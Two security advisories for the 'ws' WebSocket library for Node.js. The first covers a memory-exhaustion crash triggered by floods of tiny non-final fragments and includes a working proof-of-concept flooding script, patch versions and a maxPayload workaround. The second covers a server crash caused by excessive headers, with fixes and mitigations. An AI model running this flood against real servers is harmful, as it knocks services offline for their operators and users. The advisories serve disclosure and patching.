Vulnerability Details
Impact A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. Proof of concept import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket("ws://localhost:${port}"); ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); }); ws.on('error', console.error); ws.on('close', function (code, reason) { console.log("client close - code: ${code} reason: ${reason.toString()}"); }); }); wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log("server close - code: ${code} reason: ${reason.toString()}"); }); }); Patches The vulnerability was fixed in ws@8.21.0 (websockets/ws@bca91ad) and backported to ws@7.5.11 (websockets/ws@fd36cd8), ws@6.2.4 (websockets/ws@86d3e8a), and ws@5.2.5 (websockets/ws@b5372ac). Workarounds In vulnerable versions, the issue can be mitigated by lowering the value of the "maxPayload" option if possible. Credits The vulnerability was responsibly disclosed and fixed by "Nadav Magier" (https://github.com/Nadav0077).

Vulnerability Details
ws is an open source WebSocket client and server for Node.js. A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. The vulnerability was fixed in ws@8.17.1 (e55e510) and backported to ws@7.5.10 (22c2876), ws@6.2.3 (eeb76d3), and ws@5.2.4 (4abd8f6). In vulnerable versions of ws, the issue can be mitigated in the following ways: 1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. 2. Set server.maxHeadersCount to 0 so that no limit is applied.
